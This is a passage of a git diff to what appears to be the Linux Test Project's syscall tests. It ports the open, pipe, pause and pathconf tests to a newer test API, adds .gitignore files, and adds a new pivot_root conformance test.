-	 */
+	/* Test open(2) directory */
 	{	/* open dir O_RDONLY */
 		.desc = "Open dir O_RDONLY",
 		.path = T_DIR,
@@ -163,9 +125,7 @@
 		.mode = 0644,
 		.err = ENOTDIR,
 	},
-	/*
-	 * Test open(2) hard link
-	 */
+	/* Test open(2) hard link */
 	{	/* open hard link file O_RDONLY */
 		.desc = "Open hard link file O_RDONLY",
 		.path = T_LINK_REG,
@@ -187,9 +147,7 @@
 		.mode = 0644,
 		.err = 0,
 	},
-	/*
-	 * Test open(2) sym link
-	 */
+	/* Test open(2) sym link */
 	{	/* open sym link file O_RDONLY */
 		.desc = "Open sym link file O_RDONLY",
 		.path = T_SYMLINK_REG,
@@ -232,9 +190,7 @@
 		.mode = 0644,
 		.err = EISDIR,
 	},
-	/*
-	 * Test open(2) device special
-	 */
+	/* * Test open(2) device special */
 	{	/* open device special file O_RDONLY */
 		.desc = "Open device special file O_RDONLY",
 		.path = T_DEV,
@@ -256,9 +212,7 @@
 		.mode = 0644,
 		.err = 0,
 	},
-	/*
-	 * Test open(2) non-existing file
-	 */
+	/* * Test open(2) non-existing file */
 	{	/* open non-existing regular file in existing dir */
 		.desc = "Open non-existing regular file in existing dir",
 		.path = T_DIR"/"T_NEW_REG,
@@ -266,9 +220,7 @@
 		.mode = 0644,
 		.err = 0,
 	},
-	/*
-	 * test open(2) with O_CREAT
-	 */
+	/* test open(2) with O_CREAT */
 	{	/* open hard link file O_RDONLY | O_CREAT */
 		.desc = "Open link file O_RDONLY | O_CREAT",
 		.path = T_LINK_REG,
@@ -304,9 +256,7 @@
 		.mode = 0644,
 		.err = EISDIR,
 	},
-	/*
-	 * Other random open(2) tests
-	 */
+	/* Other random open(2) tests */
 	{	/* open regular file O_RDONLY | O_TRUNC */
 		.desc = "Open regular file O_RDONLY | O_TRUNC, "
 			"behaviour is undefined but should not oops or hang",
@@ -325,42 +275,23 @@
 	},
 };
 
-int TST_TOTAL = sizeof(tc) / sizeof(tc[0]);
-
-int main(int argc, char *argv[])
+static void verify_open(unsigned int n)
 {
-	int lc;
-	int i;
 	int fd;
-	int ret;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	TEST(open(tc[n].path, tc[n].flags, tc[n].mode));
+	fd = TST_RET;
 
-	setup();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(open(tc[i].path, tc[i].flags, tc[i].mode));
-			fd = TEST_RETURN;
-
-			if (tc[i].err == -1 || TEST_ERRNO == tc[i].err) {
-				tst_resm(TPASS, "%s", tc[i].desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "%s - expected errno %d - Got",
-					 tc[i].desc, tc[i].err);
-			}
-			if (fd > 0) {
-				ret = close(fd);
-				if (ret < 0)
-					tst_resm(TWARN, "%s - close failed: %s",
-						 tc[i].desc, strerror(errno));
-			}
-		}
+	if (tc[n].err == -1 || TST_ERR == tc[n].err) {
+		tst_res(TPASS, "%s", tc[n].desc);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TFAIL | TTERRNO, "%s - expected %s",
+			tc[n].desc, tst_strerrno(tc[n].err));
 }
 
 static void setup(void)
@@ -368,36 +299,27 @@
 	int fd;
 	int ret;
 
-	tst_require_root();
-
-	tst_tmpdir();
-
-	/* Create test files */
-	fd = SAFE_OPEN(cleanup, T_REG, O_WRONLY | O_CREAT, 0644);
+	fd = SAFE_OPEN(T_REG, O_WRONLY | O_CREAT, 0644);
 	ret = write(fd, T_MSG, sizeof(T_MSG));
 	if (ret == -1) {
-		close(fd);
-		tst_brkm(TBROK | TERRNO, cleanup, "Write %s failed", T_REG);
+		SAFE_CLOSE(fd);
+		tst_brk(TBROK | TERRNO, "Write %s failed", T_REG);
 	}
-	close(fd);
+	SAFE_CLOSE(fd);
 
-	fd = SAFE_CREAT(cleanup, T_REG_EMPTY, 0644);
-	close(fd);
-
-	SAFE_LINK(cleanup, T_REG, T_LINK_REG);
-	SAFE_SYMLINK(cleanup, T_REG, T_SYMLINK_REG);
-	SAFE_MKDIR(cleanup, T_DIR, 0755);
-	SAFE_SYMLINK(cleanup, T_DIR, T_SYMLINK_DIR);
-
-	ret = mknod(T_DEV, S_IFCHR, makedev(1, 5));
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create char dev %s failed",
-			 T_DEV);
-
-	TEST_PAUSE;
+	SAFE_TOUCH(T_REG_EMPTY, 0644, NULL);
+	SAFE_LINK(T_REG, T_LINK_REG);
+	SAFE_SYMLINK(T_REG, T_SYMLINK_REG);
+	SAFE_MKDIR(T_DIR, 0755);
+	SAFE_SYMLINK(T_DIR, T_SYMLINK_DIR);
+	SAFE_MKNOD(T_DEV, S_IFCHR, makedev(1, 5));
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.setup = setup,
+	.test = verify_open,
+	.needs_devfs = 1,
+	.mntpoint = MNTPOINT,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/openat/.gitignore b/testcases/kernel/syscalls/openat/.gitignore
new file mode 100644
index 0000000..2928dae
--- /dev/null
+++ b/testcases/kernel/syscalls/openat/.gitignore
@@ -0,0 +1,4 @@
+/openat01
+/openat02
+/openat02_child
+/openat03
diff --git a/testcases/kernel/syscalls/pathconf/.gitignore b/testcases/kernel/syscalls/pathconf/.gitignore
new file mode 100644
index 0000000..31abe8a
--- /dev/null
+++ b/testcases/kernel/syscalls/pathconf/.gitignore
@@ -0,0 +1 @@
+/pathconf01
diff --git a/testcases/kernel/syscalls/pathconf/pathconf01.c b/testcases/kernel/syscalls/pathconf/pathconf01.c
index ddbe87f..362bae9 100644
--- a/testcases/kernel/syscalls/pathconf/pathconf01.c
+++ b/testcases/kernel/syscalls/pathconf/pathconf01.c
@@ -154,7 +154,8 @@
 	tst_parse_opts(ac, av, options, &help);
 
 	if (!lflag) {
-		path = strdup("/tmp");
+		tst_tmpdir();
+		path = tst_get_tmpdir();
 	}
     /***************************************************************
      * perform global setup for test
@@ -221,7 +222,10 @@
  ***************************************************************/
 void cleanup(void)
 {
-
+	if (!lflag) {
+		tst_rmdir();
+		free(path);
+	}
 }
 
 /***************************************************************
diff --git a/testcases/kernel/syscalls/pause/.gitignore b/testcases/kernel/syscalls/pause/.gitignore
new file mode 100644
index 0000000..358955a
--- /dev/null
+++ b/testcases/kernel/syscalls/pause/.gitignore
@@ -0,0 +1,3 @@
+/pause01
+/pause02
+/pause03
diff --git a/testcases/kernel/syscalls/pause/pause01.c b/testcases/kernel/syscalls/pause/pause01.c
index 1c55855..3afa789 100644
--- a/testcases/kernel/syscalls/pause/pause01.c
+++ b/testcases/kernel/syscalls/pause/pause01.c
@@ -29,9 +29,9 @@
 	TST_CHECKPOINT_WAKE(0);
 
 	TEST(pause());
-	if (TEST_RETURN != -1)
+	if (TST_RET != -1)
 		tst_res(TFAIL, "pause() succeeded unexpectedly");
-	else if (TEST_ERRNO == EINTR)
+	else if (TST_ERR == EINTR)
 		tst_res(TPASS, "pause() interrupted with EINTR");
 	else
 		tst_res(TFAIL | TTERRNO, "pause() unexpected errno");
diff --git a/testcases/kernel/syscalls/pause/pause02.c b/testcases/kernel/syscalls/pause/pause02.c
index 2d42a59..32b41bd 100644
--- a/testcases/kernel/syscalls/pause/pause02.c
+++ b/testcases/kernel/syscalls/pause/pause02.c
@@ -96,7 +96,7 @@
 		if (WIFSIGNALED(status)) {
 			switch (WTERMSIG(status)) {
 			case SIGALRM:
-				tst_resm(TFAIL, "Timeout: SIGINT wasn't recieved by child");
+				tst_resm(TFAIL, "Timeout: SIGINT wasn't received by child");
 			break;
 			default:
 				tst_resm(TFAIL, "Child killed by signal");
diff --git a/testcases/kernel/syscalls/perf_event_open/.gitignore b/testcases/kernel/syscalls/perf_event_open/.gitignore
new file mode 100644
index 0000000..0576900
--- /dev/null
+++ b/testcases/kernel/syscalls/perf_event_open/.gitignore
@@ -0,0 +1,2 @@
+/perf_event_open01
+/perf_event_open02
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
index 13a1794..0590ffb 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
@@ -64,6 +64,7 @@
 #include <sys/prctl.h>
 #include <sys/types.h>
 #include <linux/types.h>
+#include <sched.h>
 
 #if HAVE_PERF_EVENT_ATTR
 # include <linux/perf_event.h>
@@ -286,6 +287,12 @@
 	unsigned long long vtsum = 0, vhsum = 0;
 	int i;
 	double ratio;
+	struct sched_param sparam = {.sched_priority = 1};
+
+	if (sched_setscheduler(0, SCHED_FIFO, &sparam)) {
+		tst_brkm(TBROK | TERRNO, cleanup,
+			 "sched_setscheduler(0, SCHED_FIFO, ...) failed");
+	}
 
 	if (prctl(PR_TASK_PERF_EVENTS_ENABLE) == -1) {
 		tst_brkm(TBROK | TERRNO, cleanup,
@@ -299,6 +306,12 @@
 			 "prctl(PR_TASK_PERF_EVENTS_DISABLE) failed");
 	}
 
+	sparam.sched_priority = 0;
+	if (sched_setscheduler(0, SCHED_OTHER, &sparam)) {
+		tst_brkm(TBROK | TERRNO, cleanup,
+			 "sched_setscheduler(0, SCHED_OTHER, ...) failed");
+	}
+
 	if (read(tsk0, &vt0, sizeof(vt0)) != sizeof(vt0)) {
 		tst_brkm(TBROK | TERRNO, cleanup,
 			 "error reading task clock counter");
diff --git a/testcases/kernel/syscalls/personality/.gitignore b/testcases/kernel/syscalls/personality/.gitignore
new file mode 100644
index 0000000..6620942
--- /dev/null
+++ b/testcases/kernel/syscalls/personality/.gitignore
@@ -0,0 +1,2 @@
+/personality01
+/personality02
diff --git a/testcases/kernel/syscalls/pipe/.gitignore b/testcases/kernel/syscalls/pipe/.gitignore
new file mode 100644
index 0000000..ee2974c
--- /dev/null
+++ b/testcases/kernel/syscalls/pipe/.gitignore
@@ -0,0 +1,11 @@
+/pipe01
+/pipe02
+/pipe03
+/pipe04
+/pipe05
+/pipe06
+/pipe07
+/pipe08
+/pipe09
+/pipe10
+/pipe11
diff --git a/testcases/kernel/syscalls/pipe/pipe01.c b/testcases/kernel/syscalls/pipe/pipe01.c
index 8f71460..0c681b3 100644
--- a/testcases/kernel/syscalls/pipe/pipe01.c
+++ b/testcases/kernel/syscalls/pipe/pipe01.c
@@ -35,7 +35,7 @@
 
 	TEST(pipe(fds));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "pipe()");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/pipe/pipe02.c b/testcases/kernel/syscalls/pipe/pipe02.c
index 8defa5e..9afb8f8 100644
--- a/testcases/kernel/syscalls/pipe/pipe02.c
+++ b/testcases/kernel/syscalls/pipe/pipe02.c
@@ -58,7 +58,7 @@
 #endif
 
 	TEST(pipe(fd));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL|TERRNO, "pipe() failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/pipe/pipe03.c b/testcases/kernel/syscalls/pipe/pipe03.c
index 267cf88..77496b6 100644
--- a/testcases/kernel/syscalls/pipe/pipe03.c
+++ b/testcases/kernel/syscalls/pipe/pipe03.c
@@ -31,13 +31,13 @@
 	char buf[2];
 
 	TEST(pipe(fd));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "pipe() failed unexpectedly");
 		return;
 	}
 
 	TEST(write(fd[0], "A", 1));
-	if (TEST_RETURN == -1 && errno == EBADF) {
+	if (TST_RET == -1 && errno == EBADF) {
 		tst_res(TPASS | TTERRNO, "expected failure writing "
 			"to read end of pipe");
 	} else {
@@ -46,7 +46,7 @@
 	}
 
 	TEST(read(fd[1], buf, 1));
-	if (TEST_RETURN == -1 && errno == EBADF) {
+	if (TST_RET == -1 && errno == EBADF) {
 		tst_res(TPASS | TTERRNO, "expected failure reading "
 			"from write end of pipe");
 	} else {
diff --git a/testcases/kernel/syscalls/pipe/pipe04.c b/testcases/kernel/syscalls/pipe/pipe04.c
index b3d255b..a3c56e3 100644
--- a/testcases/kernel/syscalls/pipe/pipe04.c
+++ b/testcases/kernel/syscalls/pipe/pipe04.c
@@ -235,7 +235,7 @@
 			tst_resm(TBROK | TERRNO, "[child 2] pipe write failed");
 }
 
-void alarmfunc(int sig)
+void alarmfunc(int sig LTP_ATTRIBUTE_UNUSED)
 {
 	/* for some reason tst_brkm doesn't seem to work in a signal handler */
 	tst_brkm(TFAIL, cleanup, "one or more children did't die in 60 second "
diff --git a/testcases/kernel/syscalls/pipe/pipe05.c b/testcases/kernel/syscalls/pipe/pipe05.c
index fe5ec37..4105988 100644
--- a/testcases/kernel/syscalls/pipe/pipe05.c
+++ b/testcases/kernel/syscalls/pipe/pipe05.c
@@ -59,7 +59,7 @@
 
 int main(int ac, char **av)
 {
-	int lc;
+	volatile int lc;
 	struct sigaction sa, osa;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -120,7 +120,7 @@
 /******************************************************************
  * sig11_handler() - our segfault recover hack
  ******************************************************************/
-void sig11_handler(int sig)
+void sig11_handler(int sig LTP_ATTRIBUTE_UNUSED)
 {
 	longjmp(sig11_recover, 1);
 }
diff --git a/testcases/kernel/syscalls/pipe/pipe07.c b/testcases/kernel/syscalls/pipe/pipe07.c
index b09df71..55bb9f4 100644
--- a/testcases/kernel/syscalls/pipe/pipe07.c
+++ b/testcases/kernel/syscalls/pipe/pipe07.c
@@ -129,7 +129,7 @@
 		if (fd == dir_fd)
 			continue;
 
-		if (rec_fds_max >= ARRAY_SIZE(rec_fds)) {
+		if (rec_fds_max >= (int)ARRAY_SIZE(rec_fds)) {
 			tst_brkm(TBROK, cleanup,
 			         "Too much file descriptors open");
 		}
diff --git a/testcases/kernel/syscalls/pipe/pipe08.c b/testcases/kernel/syscalls/pipe/pipe08.c
index cdb2a4d..173ec78 100644
--- a/testcases/kernel/syscalls/pipe/pipe08.c
+++ b/testcases/kernel/syscalls/pipe/pipe08.c
@@ -98,6 +98,8 @@
 		 * sent
 		 */
 		written = write(pipefd[1], wrbuf, length);
+		if (written > 0)
+			tst_brkm(TBROK, cleanup, "write succeeded unexpectedly");
 	}
 	cleanup();
 	tst_exit();
diff --git a/testcases/kernel/syscalls/pipe/pipe11.c b/testcases/kernel/syscalls/pipe/pipe11.c
index e11c556..d71d87a 100644
--- a/testcases/kernel/syscalls/pipe/pipe11.c
+++ b/testcases/kernel/syscalls/pipe/pipe11.c
@@ -1,246 +1,114 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	pipe11.c
- *
- * DESCRIPTION
- *	Check if many children can read what is written to a pipe by the
- *	parent.
+ * Check if many children can read what is written to a pipe by the parent.
  *
  * ALGORITHM
- *	1. Open a pipe and write to it
- *	2. Fork a large number of children
- *	3. Have the children read the pipe and check how many characters
- *	   each got
- *
- * USAGE:  <for command-line>
- *  pipe11 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ *   For a different nchilds number:
+ *	1. Open a pipe and write nchilds * (PIPE_BUF/nchilds) bytes into it
+ *	2. Fork nchilds children
+ *	3. Each child reads PIPE_BUF/nchilds characters and checks that the
+ *	   bytes read are correct
  */
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <stdio.h>
-#include <limits.h>
-#include "test.h"
+#include <stdlib.h>
+#include "tst_test.h"
 
-char *TCID = "pipe11";
-int TST_TOTAL = 1;
+static int fds[2];
+static unsigned char buf[PIPE_BUF];
+static size_t read_per_child;
 
-void do_child(void);
-void do_child_uclinux(void);
-void setup(void);
-void cleanup(void);
-
-#define	NUMCHILD	50
-#define	NCPERCHILD	50
-char rawchars[] =
-    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
-int kidid;
-int numchild;			/* no of children to fork */
-int ncperchild;			/* no of chars child should read */
-int szcharbuf;			/* size of char buf */
-int pipewrcnt;			/* chars written to pipe */
-char *wrbuf, *rdbuf;
-int fd[2];			/* fds for pipe read/write */
-
-ssize_t do_read(int fd, void *buf, size_t count)
-{
-	ssize_t n;
-
-	do {
-		n = read(fd, buf, count);
-	} while (n < 0 && errno == EINTR);
-
-	return n;
-}
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	int i;
-	int fork_ret, status;
-	int written;		/* no of chars read and written */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-#ifdef UCLINUX
-	maybe_run_child(&do_child_uclinux, "ddddd", &fd[0], &fd[1], &kidid,
-			&ncperchild, &szcharbuf);
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		TEST(pipe(fd));
-
-		if (TEST_RETURN != 0) {
-			tst_resm(TFAIL, "pipe creation failed");
-			continue;
-		}
-
-		written = write(fd[1], wrbuf, szcharbuf);
-		if (written != szcharbuf) {
-			tst_brkm(TBROK, cleanup, "write to pipe failed");
-		}
-
-refork:
-		++kidid;
-		fork_ret = FORK_OR_VFORK();
-
-		if (fork_ret < 0) {
-			tst_brkm(TBROK, cleanup, "fork() failed");
-		}
-
-		if ((fork_ret != 0) && (fork_ret != -1) && (kidid < numchild)) {
-			goto refork;
-		}
-
-		if (fork_ret == 0) {	/* child */
-#ifdef UCLINUX
-			if (self_exec(av[0], "ddddd", fd[0], fd[1], kidid,
-				      ncperchild, szcharbuf) < 0) {
-				tst_brkm(TBROK, cleanup, "self_exec failed");
-			}
-#else
-			do_child();
-#endif
-		}
-
-		/* parent */
-		sleep(5);
-		tst_resm(TINFO, "There are %d children to wait for", kidid);
-		for (i = 1; i <= kidid; ++i) {
-			wait(&status);
-			if (status == 0) {
-				tst_resm(TPASS, "child %d exited successfully",
-					 i);
-			} else {
-				tst_resm(TFAIL, "child %d exited with bad "
-					 "status", i);
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * do_child()
- */
 void do_child(void)
 {
-	int nread;
+	size_t nread;
+	unsigned char rbuf[read_per_child];
+	unsigned int i;
 
-	if (close(fd[1])) {
-		tst_resm(TINFO, "child %d " "could not close pipe", kidid);
-		exit(0);
-	}
-	nread = do_read(fd[0], rdbuf, ncperchild);
-	if (nread == ncperchild) {
-		tst_resm(TINFO, "child %d " "got %d chars", kidid, nread);
-		exit(0);
-	} else {
-		tst_resm(TFAIL, "child %d did not receive expected no of "
-			 "characters, got %d characters", kidid, nread);
-		exit(1);
-	}
-}
+	SAFE_CLOSE(fds[1]);
 
-/*
- * do_child_uclinux() - as above, but mallocs rdbuf first
- */
-void do_child_uclinux(void)
-{
-	if ((rdbuf = malloc(szcharbuf)) == NULL) {
-		tst_brkm(TBROK, cleanup, "malloc of rdbuf failed");
+	nread = SAFE_READ(0, fds[0], rbuf, sizeof(rbuf));
+
+	if (nread != read_per_child) {
+		tst_res(TFAIL, "Invalid read size child %i size %zu",
+		        getpid(), nread);
+		return;
 	}
 
-	do_child();
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-	int i, j;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	numchild = NUMCHILD;
-	ncperchild = NCPERCHILD;
-
-	kidid = 0;
-
-	/* allocate read and write buffers */
-	szcharbuf = numchild * ncperchild;
-
-	/* make sure pipe write doesn't block */
-	if (szcharbuf == PIPE_BUF) {
-		/* adjust number of characters per child */
-		ncperchild = szcharbuf / numchild;
-	}
-
-	if ((wrbuf = malloc(szcharbuf)) == NULL) {
-		tst_brkm(TBROK, cleanup, "malloc failed");
-	}
-
-	if ((rdbuf = malloc(szcharbuf)) == NULL) {
-		tst_brkm(TBROK, cleanup, "malloc of rdbuf failed");
-	}
-
-	/* initialize wrbuf */
-	j = 0;
-	for (i = 0; i < szcharbuf;) {
-		wrbuf[i++] = rawchars[j++];
-		if (j >= sizeof(rawchars)) {
-			j = 0;
+	for (i = 0; i < read_per_child; i++) {
+		if (rbuf[i] != (i % 256)) {
+			tst_res(TFAIL,
+			        "Invalid byte read child %i byte %i have %i expected %i",
+				getpid(), i, rbuf[i], i % 256);
+			return;
 		}
 	}
+
+	tst_res(TPASS, "Child %i read pipe buffer correctly", getpid());
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static unsigned int childs[] = {
+	1,
+	2,
+	3,
+	4,
+	10,
+	50
+};
+
+static void run(unsigned int tcase)
 {
+	pid_t pid;
+	unsigned int nchilds = childs[tcase];
+	read_per_child = PIPE_BUF/nchilds;
+	unsigned int i, j;
 
+	tst_res(TINFO, "Reading %zu per each of %u children",
+	        read_per_child, nchilds);
+
+	for (i = 0; i < nchilds; i++) {
+		for (j = 0; j < read_per_child; j++) {
+			buf[i * read_per_child + j] = j % 256;
+		}
+	}
+
+	SAFE_PIPE(fds);
+
+	SAFE_WRITE(1, fds[1], buf, read_per_child * nchilds);
+
+	for (i = 0; i < nchilds; i++) {
+		pid = SAFE_FORK();
+
+		if (!pid) {
+			do_child();
+			exit(0);
+		}
+	}
+
+	tst_reap_children();
+
+	SAFE_CLOSE(fds[0]);
+	SAFE_CLOSE(fds[1]);
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.test = run,
+	.tcnt = ARRAY_SIZE(childs),
+};
diff --git a/testcases/kernel/syscalls/pipe2/.gitignore b/testcases/kernel/syscalls/pipe2/.gitignore
new file mode 100644
index 0000000..cd38bb3
--- /dev/null
+++ b/testcases/kernel/syscalls/pipe2/.gitignore
@@ -0,0 +1,2 @@
+/pipe2_01
+/pipe2_02
diff --git a/testcases/kernel/syscalls/pivot_root/.gitignore b/testcases/kernel/syscalls/pivot_root/.gitignore
new file mode 100644
index 0000000..49b2117
--- /dev/null
+++ b/testcases/kernel/syscalls/pivot_root/.gitignore
@@ -0,0 +1 @@
+pivot_root01
diff --git a/testcases/kernel/syscalls/pivot_root/Makefile b/testcases/kernel/syscalls/pivot_root/Makefile
new file mode 100644
index 0000000..6a38102
--- /dev/null
+++ b/testcases/kernel/syscalls/pivot_root/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+#
+# Copyright (c) 2019 Google, Inc.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS += $(CAP_LIBS)
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/pivot_root/pivot_root01.c b/testcases/kernel/syscalls/pivot_root/pivot_root01.c
new file mode 100644
index 0000000..eed3704
--- /dev/null
+++ b/testcases/kernel/syscalls/pivot_root/pivot_root01.c
@@ -0,0 +1,191 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+//
+// Copyright (c) 2019 Google, Inc.
+
+#define _GNU_SOURCE
+
+#include "config.h"
+
+#include <errno.h>
+#include <lapi/syscalls.h>
+#include <sched.h>
+
+#include <sys/mount.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+
+#ifdef HAVE_UNSHARE
+
+#ifdef HAVE_LIBCAP
+#include <sys/capability.h>
+#endif
+
+#define CHROOT_DIR	"chroot"
+#define NEW_ROOT	"/new_root"
+#define PUT_OLD		"/new_root/put_old"
+#define PUT_OLD_FS	"/put_old_fs"
+#define PUT_OLD_BAD	"/put_old_fs/put_old"
+
+enum {
+	/*
+	 * Test consists of a series of steps that allow pivot_root to succeed,
+	 * which is run when param is NORMAL. All other values tweak one of the
+	 * steps to induce a failure, and check the errno is as expected.
+	 */
+	NORMAL,
+
+	/*
+	 * EBUSY
+	 * new_root or put_old are on the current root file system
+	 */
+	NEW_ROOT_ON_CURRENT_ROOT,
+
+	/*
+	 * EINVAL
+	 * put_old is not underneath new_root
+	 * Note: if put_old and new_root are on the same fs,
+	 * pivot_root fails with EBUSY before testing reachability
+	 */
+	PUT_OLD_NOT_UNDERNEATH_NEW_ROOT,
+
+	/*
+	 * ENOTDIR
+	 * new_root or put_old is not a directory
+	 */
+	PUT_OLD_NOT_DIR,
+
+	/*
+	 * EPERM
+	 * The calling process does not have the CAP_SYS_ADMIN capability.
+	 */
+	NO_CAP_SYS_ADMIN,
+};
+
+static const struct test_case {
+	int test_case;
+	int expected_error;
+} test_cases[] = {
+	{NORMAL, 0},
+	{NEW_ROOT_ON_CURRENT_ROOT, EBUSY},
+	{PUT_OLD_NOT_UNDERNEATH_NEW_ROOT, EINVAL},
+	{PUT_OLD_NOT_DIR, ENOTDIR},
+	{NO_CAP_SYS_ADMIN, EPERM},
+};
+
+#ifdef HAVE_LIBCAP
+static void drop_cap_sys_admin(void)
+{
+	cap_value_t cap_value[] = { CAP_SYS_ADMIN };
+	cap_t cap = cap_get_proc();
+	if (!cap)
+		tst_brk(TBROK | TERRNO, "cap_get_proc failed");
+
+	if (cap_set_flag(cap, CAP_EFFECTIVE, 1, cap_value, CAP_CLEAR))
+		tst_brk(TBROK | TERRNO, "cap_set_flag failed");
+
+	if (cap_set_proc(cap))
+		tst_brk(TBROK | TERRNO, "cap_set_proc failed");
+}
+#endif
+
+static void run(unsigned int test_case)
+{
+	/* Work in child process - needed to undo unshare and chroot */
+	if (SAFE_FORK()) {
+		tst_reap_children();
+		return;
+	}
+
+	/* pivot_root requires no shared mounts exist in process namespace */
+	TEST(unshare(CLONE_NEWNS | CLONE_FS));
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TERRNO, "unshare failed");
+
+	/*
+	 * Create an initial root dir. pivot_root doesn't work if the initial root
+	 * dir is a initramfs, so use chroot to create a safe environment
+	 */
+	SAFE_MOUNT("none", "/", NULL, MS_REC|MS_PRIVATE, NULL);
+	SAFE_MOUNT("none", CHROOT_DIR, "tmpfs", 0, 0);
+	SAFE_CHROOT(CHROOT_DIR);
+
+	SAFE_MKDIR(NEW_ROOT, 0777);
+
+	/*
+	 * pivot_root only works if new_root is a mount point, so mount a tmpfs
+	 * unless testing for that fail mode
+	 */
+	if (test_cases[test_case].test_case != NEW_ROOT_ON_CURRENT_ROOT)
+		SAFE_MOUNT("none", NEW_ROOT, "tmpfs", 0, 0);
+
+	/*
+	 * Create put_old under new_root, unless testing for that specific fail
+	 * mode
+	 */
+	const char* actual_put_old = NULL;
+	if (test_cases[test_case].test_case == PUT_OLD_NOT_UNDERNEATH_NEW_ROOT) {
+		actual_put_old = PUT_OLD_BAD;
+		SAFE_MKDIR(PUT_OLD_FS, 0777);
+		SAFE_MOUNT("none", PUT_OLD_FS, "tmpfs", 0, 0);
+		SAFE_MKDIR(PUT_OLD_BAD, 0777);
+	} else {
+		actual_put_old = PUT_OLD;
+
+		if (test_cases[test_case].test_case == PUT_OLD_NOT_DIR)
+			SAFE_CREAT(PUT_OLD, 0777);
+		else
+			SAFE_MKDIR(PUT_OLD, 0777);
+	}
+
+	if (test_cases[test_case].test_case == NO_CAP_SYS_ADMIN) {
+#ifdef HAVE_LIBCAP
+		drop_cap_sys_admin();
+#else
+		tst_res(TCONF,
+			"System doesn't have POSIX capabilities support");
+		return;
+#endif
+	}
+
+	TEST(syscall(__NR_pivot_root, NEW_ROOT, actual_put_old));
+
+	if (test_cases[test_case].test_case == NORMAL) {
+		if (TST_RET)
+			tst_res(TFAIL | TERRNO, "pivot_root failed");
+		else
+			tst_res(TPASS, "pivot_root succeeded");
+
+		return;
+	}
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "pivot_root succeeded unexpectedly");
+		return;
+	}
+
+	if (errno != test_cases[test_case].expected_error) {
+		tst_res(TFAIL | TERRNO,	"pivot_root failed with wrong errno");
+		return;
+	}
+
+	tst_res(TPASS | TERRNO, "pivot_root failed as expectedly");
+}
+
+static void setup(void)
+{
+	SAFE_MKDIR(CHROOT_DIR, 0777);
